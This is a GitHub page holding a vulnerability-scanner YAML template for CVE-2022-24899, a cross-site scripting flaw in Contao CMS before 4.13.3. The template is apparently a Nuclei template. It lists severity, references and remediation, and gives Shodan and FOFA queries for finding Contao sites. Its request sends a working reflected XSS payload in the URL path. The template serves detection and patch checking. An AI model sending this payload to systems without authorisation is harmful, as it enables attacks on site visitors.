-
Notifications
You must be signed in to change notification settings - Fork 2.7k
/
Copy pathCVE-2022-24899.yaml
59 lines (55 loc) · 2.18 KB
/
CVE-2022-24899.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
id: CVE-2022-24899
info:
name: Contao <4.13.3 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: As a workaround, users may disable canonical tags in the root page settings.
reference:
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://nvd.nist.gov/vuln/detail/CVE-2022-24899
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
- https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-24899
cwe-id: CWE-79
epss-score: 0.00342
epss-percentile: 0.70926
cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: contao
product: contao
shodan-query:
- title:"Contao"
- http.title:"contao"
- http.html:"contao open source cms"
- cpe:"cpe:2.3:a:contao:contao"
fofa-query:
- body="contao open source cms"
- title="contao"
google-query: intitle:"contao"
tags: cve,cve2022,contao,xss,huntr
http:
- method: GET
path:
- "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"></script><script>alert(document.domain)</script>'
- '"Not authenticated"'
condition: and
- type: word
part: header
words:
- text/html
# digest: 4b0a0048304602210080d6f42c57d707c3a435558fc3828f0abc063d210f6e8f77355f65b1883768af022100e3014dd8ab1b4bf8f4af3b24ed9e88e37d19136e1ccf3157b604deca0d0d1b25:922c64590222798bb761d5b6d8e72950